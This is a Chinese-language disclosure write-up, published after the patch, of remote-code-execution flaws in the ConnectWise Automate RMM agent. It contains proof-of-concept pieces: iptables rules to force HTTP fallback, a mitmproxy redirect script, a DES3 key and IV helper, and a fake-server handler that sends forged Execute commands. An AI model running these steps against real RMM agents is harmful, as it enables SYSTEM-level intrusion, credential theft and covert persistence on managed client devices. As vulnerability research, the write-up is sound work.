CVE-2025-11492, CVE-2025-11493 的分析文章与代码 - 通过 Adversary-in-the-Middle 在 ConnctWise Automate RMM 中实现 RCE
在一次渗透测试中,我发现了 ConnectWise Automate 远程监控与管理(RMM)代理中的多个漏洞。ConnectWise 被许多托管服务提供商(MSP)用于管理和监控客户端设备。这些漏洞使得如果攻击者能够建立网络中间人攻击(Adversary-in-the-Middle),则可以实现远程代码执行;或者如果攻击者能够在运行 ConnectWise Automate 代理的设备上获得代码执行或物理访问权限,则可以用作本地权限提升和隐蔽持久化。
这些漏洞于 2025 年 8 月 20 日报告给 ConnectWise。ConnectWise 分配了 CVE ID,并于 2025 年 10 月 16 日在版本 2025.9 中发布了补丁。
ConnectWise 公告:
CVE ID:
2025.9 版本,并公开安全公告和 CVE。我很欣赏 ConnectWise 的快速响应以及他们在修复过程中的协作态度,也感谢他们愿意与我们讨论如何最佳地进行分类和修复。
将这些漏洞分类是一个有趣的挑战。虽然切换到 HTTPS 几乎可以解决本报告中的所有场景,但明显最初选择支持 HTTP 是为了提高代理与服务器通信的可靠性。加密方案似乎部分承认/试图缓解中间人攻击(AiTM)的风险,但并未一致应用。深入研究时,我需要判断弱点究竟是 HTTP 本身,还是 HTTP 之上缺少加密,同时还包括重放防护、插件验证等各自独立的漏洞。ConnectWise 曾一度考虑为漏洞的不同方面分配 5 个以上的独立 CVE。
此外,范围与攻击向量取决于漏洞是从中间人攻击角度(例如咖啡店 Wi-Fi)还是本地权限提升/物理访问角度考量。另一种方法是将每种场景视为独立漏洞,例如中间人攻击远程代码执行、本地权限提升、持久化接管等。
最后一点经验是,即使在 2025 年,我们仍然难以有效地共享文件(电子邮件安全系统不喜欢我通过邮件发送 .dll 文件或包含它们的 .zip 文件)。
本报告是在 ConnectWise 发布补丁并公开 CVE 后,并征得其同意(此举不会损害用户利益)后发布的。此外,我相信这些漏洞及其缓解措施的公开披露将帮助其他厂商和安全专业人员更好地理解和减轻 ConnectWise Automate 以及其他 RMM 系统中的风险。
本内容仅供合法授权的安全研究和教育目的使用。未经授权使用本信息入侵系统、网络或数据是违法且不道德的。本内容按“现状”提供,不附带任何形式的担保。作者对因使用或滥用本信息所造成的任何损害不承担任何责任。
若将此代码或信息用于进一步研究,请遵守负责任的披露原则,将发现的任何漏洞报告给相关厂商。
除下文报告外,本仓库还包含用于演示漏洞的 PoC 代码。关于虚假服务器实现及使用说明,请参见 automate_server/README.md。
该代码也可用于对 ConnectWise Automate 进行进一步的(道德)安全研究。
以下报告(或其近似版本)以及本仓库中的 PoC Python 代码已连同推荐的缓解措施一同提供给 ConnectWise。
被移除的缓解措施部分详细说明了可对 Automate 代理进行的更改,以从多个方面强化防御这些漏洞。由于某些更改仍在 ConnectWise 的考虑之中,该部分已从本次公开披露中移除。
ConnectWise Automate 远程监控与管理(RMM)代理(测试版本为截至 2025 年 8 月的最新版,版本字符串 250.252)在特定配置下容易受到基于网络的远程代码执行攻击。如果代理配置为对其 Server Address 使用未加密的 HTTP 传输(无论是作为主协议还是回退协议),并且攻击者能够实施中间人(AiTM)攻击,那么攻击者可以以 SYSTEM 权限远程执行代码。已在多个托管服务提供商(MSP)的现场环境中观察到这种易受攻击的配置。
如果攻击者以非管理员身份获得设备的物理访问权限,或者能够以其他方式将设备连接到攻击者控制的网络(即该漏洞可用作本地权限提升),也可以进行利用。尽管 Automate 采用加密系统来加密和验证大多数 RMM 命令,但其插件系统缺乏足够的保护,仍然容易受到远程代码执行攻击。
通过实现一个模拟 Automate 控制服务器的自定义服务器,可以诱使 Automate 代理下载并执行恶意插件。
被攻陷的代理还可以作为一种诱人的持久化形式。通过利用远程代码执行提取代理的对称加密密钥,攻击者的自定义服务器可以使用标准 RMM 通道向代理发送任意命令。在中间人攻击场景中,这使得攻击者能够执行任意 RMM 命令,包括文件提取、凭据转储、命令执行和配置更改。攻击者还可以将 RMM 的 Server Address 修改为攻击者自己的服务器,从而在中间人攻击结束后实现隐蔽持久化。或者,可以直接利用远程代码执行来运行系统级命令。
Server Address 包含 http:// 端点。已在两个不同的 MSP 处观察到易受攻击的配置(实际 MSP 域名和 IP 已替换):
https://automate.msp-one.com|http://automate.msp-one.comhttps://msp.msp-two.com|http://msp.msp-two.com|http://12.346.6.78https:// 连接失败,http:// 端点被用作回退,但攻击者可以通过屏蔽 https 来模拟这种失败。Automate 代理可以配置为使用 http:// URL 作为服务器地址。此配置可能在安装脚本/包中设置,但可以通过检查注册表项 HKLM\SOFTWARE\LabTech\Service\Server Address 来验证。

同时使用 HTTPS 和 HTTP 端点(以管道符 | 分隔)确保理论上,如果 HTTPS 连接出现问题,Automate 代理将回退到 HTTP 连接。
如果攻击者获得对 Automate 代理与服务器之间网络流量的中间人(AiTM)访问权限,他们可以故意中断 HTTPS 连接,迫使其回退到 HTTP。这使得攻击者能够拦截、监控和篡改代理与服务器之间交换的流量。攻击者随后可以将流量反向代理到 https://automate.msp-one.com,从而使代理“正常运行”,但攻击者能够窃听数据。此外,他们还可以注入或修改响应,甚至设置一个完全虚假的 Automate 服务器来响应 Automate 代理的请求。
这是通过设置“恶意”Wi-Fi 接入点(hostapd、dnsmasq、IP 转发 + NAT)并配合 iptables 规则进行流量重定向以及 mitmproxy 脚本实现反向代理来完成的。

在 Automate 代理的响应中,有时还会观察到其他更敏感的数据,包括正在运行的程序、完整网络配置和文档路径。
iptables -t nat -A PREROUTING -i wlx90916440139a -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -A FORWARD -i wlx90916440139a -p tcp --dport 443 -j DROP
#### mitmproxy 脚本:```python
# run with AiTMweb --mode transparent@8080 -s automate_AiTM.py
def request(flow: http.HTTPFlow):
if flow.request.pretty_host == 'automate.msp-one.com':
flow.request.url = 'https://automate.msp-one.com' + flow.request.path
ZTNA 解决方案可能会稍微复杂化这种拦截,但通过进一步的 mitmproxy 脚本可以可靠地绕过这些方案,条件性地检测并阻止 ZTNA,从而回退到非隧道 HTTP。
Automate 代理使用基于 HTTP 的自定义协议与服务器通信。
设备上的 RMM 代理定期向服务器的 /LabTech/agent.aspx 端点发送 HTTP(S) 请求。相关的请求类型包括:
请注意,路径中不一致的大小写并非笔误;这是 Automate 代理发送这些请求的实际方式。所有端点路径均用代码记号包裹,以便清晰辨认。
/LabTech/Agent.aspx?DEPS,并收到一个 XML 响应,其中包含依赖文件列表、版本号及校验和。/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>,并收到一个经过混淆的二进制文件,该文件伪装成图像文件包含依赖项(混淆目的可能是为了防止内容过滤器拦截下载)。/LabTech/agent.aspx?<id>?c<CMD id>&<arg count>,并收到一个包含命令特定数据的自定义打包响应。InitialCommandRetrieve)、返回命令结果以及执行聊天功能。敏感的“远程命令”通常使用基于 DES3 的加密方案进行加密,该方案使用预设的 系统密码 和 计算机密码 进行自定义密钥派生。如果没有正确的密码,攻击者无法查看/注入/修改发送给代理的合法命令;然而,命令响应未加密,并且已被观察到经常包含敏感明文数据,包括打开的文件、路径、用户名、已安装的程序等。
依赖检查(/LabTech/Agent.aspx?DEPS)和下载(/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>)既未加密也未签名,这意味着攻击者可以修改响应以包含恶意依赖项,这些依赖项将被 RMM 代理下载并加载。如果依赖检查被伪造为包含不同的校验和,RMM 代理将重新下载不匹配的依赖文件并加载它(前提是新下载的文件与伪造的校验和匹配)。插件是实现特定接口的 .NET 程序集,Automate 代理将加载任何与预期插件接口匹配的 .NET 程序集,然后调用插件的接口,从而导致代码执行。
下载的插件依赖项存在第二层验证:代理发送 cmdGetPlugins 命令,并在此处验证校验和是否匹配,但此命令不使用加密方案。
使用 dnSpy,可以将恶意代码注入到代理使用的合法 ScreenConnectRemotePlugin.dll 中。创建了一个自定义的 Automate 服务器,具备 DEPS、DepCheck 和 cmdGetPlugins 命令功能。该虚假服务器复制了预期的插件和依赖项,但将 ScreenConnectRemotePlugin.dll 的哈希值修改为针对恶意修改后的插件计算的哈希值。虚假服务器还在响应 DepCheck 请求时提供了恶意修改后的 ScreenConnectRemotePlugin.dll(以混淆的伪图像格式),并实现了也包含篡改哈希的 cmdGetPlugins。最后,更新了 mitmproxy 脚本,将 Automate 代理引导至虚假服务器而非合法的 HTTPS 服务器。
连接后,恶意插件被代理下载并加载。注入的代码将“系统”和“计算机”密码泄露到虚假服务器。系统 和 计算机 密码存储在注册表中,但由高度混淆的 C# 和本机库解码。修补后的插件并非提取注册表值,而是使用反射获取解码后的值,从而省去了逆向混淆的工作。或者,可以泄露整个注册表项 HKLM\SOFTWARE\LabTech\Service 的内容,并在受控环境中使用 RMM 代理副本,通过 .NET 调试器在运行时提取密码。


或者,插件可以直接用于运行系统级命令;然而,提取秘密使得使用 RMM 代理本身作为命令与控制通道,并且由于该持久通道未被 EDR 检测到,从而实现了隐蔽性。可以通过将 服务器地址 更新为攻击者控制的服务器来获得持久性,该服务器可以选择将命令转发到合法服务器,以避免设备显示为缺失。详情请参见3. RMM 命令与控制接管。
可以预期,即使默认配置没有安装任何插件,一个空白的插件(匹配插件所需的 C# 接口)也可以被编译并插入到 DEPS 和 cmdGetPlugins 响应中,以达到同样效果。
进一步观察到,服务器可以返回一个名为 UpdatePlugins 的“远程命令”,触发代理启动插件更新。由于命令不包含重放保护,如果攻击者能够观察到合法服务器发送的命令,他们可以将该命令重播给任何其他代理以触发更新。这使得 RCE 漏洞可以在更多场景中被利用,从而增加了该漏洞的影响范围。
自我更新同样被观察到未加密且未签名。虽未实际演示通过自我更新实现远程代码执行,但相信其同样存在漏洞。恶意修改自我更新更难隐蔽地执行,且更有可能破坏 Automate 代理;然而,类似地将 .NET 代码注入可执行文件/DLL 的方法很可能有效。由于插件 RCE 已足够且被认为更可靠,因此未进一步探索自我更新过程。
利用自我更新过程也可能成为解决仅重启时可利用限制的可行方案(例如,如果能够注入或重播响应以触发自我更新)。
使用 2.1 中的方法提取 系统密码 和 计算机密码 后,可以创建任意的“远程命令”载荷和响应。无需完全逆向并重新实现密钥派生方案,只需导入 LabTechCommonBase.dll 并使用 Utilities.LabTechHash.ComputeHash 即可从“计算机密码”生成 DES3 密钥。利用计算出的 DES 密钥以及从 DLL 中提取的硬编码 IV,就可以使用任意命令响应 RMM 代理。```python
# IV extracted from decompiled LabTechSecurity.cs:
# this._initializationVector = new byte[] { 240, 3, 45, 29, 0, 76, 173, 59 };
iv = [240, 3, 45, 29, 0, 76, 173, 59]
# Helper functions for pythonnet, clr_loader, clr to load LabTechCommonBase.dll into python
labtech_net.setup_paths_and_references(str((Path(__file__).parent.parent / 'LTSvc').resolve()))
from LabTechCommonBase import Utilities
labtech_hash = Utilities.LabTechHash()
labtech_hash.ComputeHash(computer_password.encode('ascii')) # Use the exfiltrated computer password
byts = bytes(labtech_hash.GetDigestBytes())
cipher = DES3.new(byts, DES3.MODE_CBC, bytes(iv))
padded_data = pad(data.encode('utf-8'), DES3.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')
在伪造的 Automate 服务器中实现了多种“Agent Command”类型的处理程序,使其能够向 agent 发送“Remote Commands”。这些命令可用于在设备上执行任意代码,例如下载并执行 payload,或在设备上建立网络隧道(例如设置 SOCKS 代理,从而利用设备的 ZTNA 访问进行横向移动)。
针对 2.1 节的即时清理,服务器可以发送加密的 `UpdatePlugins` 命令,并分发原始的合法 plugin 以覆盖被恶意篡改的 plugin。攻击者仍可与 agent 交互(假设已提取密码),并通过将 `Server Address` 更新为攻击者控制的服务器来维持持久性。

此外,还演示了通过 `Execute` 命令执行 ping 的任意命令执行,该命令在设备上以管理员上下文成功执行。这可以作为 `InitialCommandRetrieve` 命令提供,或作为对其他“agent 命令”/签入的响应返回。```python
# Extract the RemoteCommandIDs enum from LabTechCommonBase.Constants using pythonnet
REMOTE_CMD_IDS = get_RemoteCommandIDs()
REMOTE_CMD_IDS_r = {str(v): k for k, v in REMOTE_CMD_IDS.items()}
# `register_cmd_handler` registers a command handler for the `/LabTech/agent.aspx?c<id>` endpoint.
# The string 'InitialCommandRetrieve' is mapped back to ID `36`.
# The full set of "Agent Command" and their IDs can be extracted from `LabTechCommonBase.Constants.modEnums.AgentCommandIDs`
@register_cmd_handler('InitialCommandRetrieve')
async def initial_command_retrieve(_req: dict) -> str:
cmd = '*!*'.join([
'202706506',
str(REMOTE_CMD_IDS_r['Execute']),
'!!!'.join([
'CMD.exe',
'/c ping -t -l 1337 192.168.20.2'
])
])
encrypted_cmd = encrypt(cmd)
return '|||'.join([
len_b64_gzip( # Simple helper to return '{len(data)}-{base64(gzip(data))}'
encrypted_cmd
),
# Generate common [latest-version, FILETIME(), queued command(s), MD5 hashes] encoding string expected in "agent command" responses
make_p2(),
])

使用 -l 1337 命令 ping 采用 1337 字节的载荷大小,这在第二张截图中被观察为(1337 载荷字节 + 42 头字节 = 1379 总字节)作为"canary"。
本节内容已从公开披露中移除。